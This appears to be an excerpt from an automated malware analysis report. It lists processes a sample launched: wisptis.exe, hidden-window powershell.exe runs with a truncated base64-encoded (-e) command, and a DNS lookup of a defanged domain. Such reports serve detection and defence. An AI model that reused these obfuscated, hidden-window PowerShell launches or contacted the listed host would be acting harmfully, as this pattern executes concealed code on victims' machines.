Technical Information
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB2AGMAdwBzAGcAcgBtAHYAPQAiAHMAZQBtAHkAegB4AHoAIgA7AAoAJABhAHoAcABoAGQAaQAgAD0AIAAiAGcAbwBWAE8AcgBzAFcAbQBaAGIASgAiADsACgAkAGYAagBqAHMAYwBpAHAAZQByAGsAawA9ACIAeABlAHgAYQBiACIAOwAKACQAeQB0AH...
- DNS ASK li##tsno.at
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB2AGMAdwBzAGcAcgBtAHYAPQAiAHMAZQBtAHkAegB4AHoAIgA7AAoAJABhAHoAcABoAGQAaQAgAD0AIAAiAGcAbwBWAE8AcgBzAFcAbQBaAGIASgAiADsACgAkAGYAagBqAHMAYwBpAHAAZQByAGsAawA9ACIAeABlAHgAYQBiACIAOwAKACQAeQB0AH...' (with hidden window)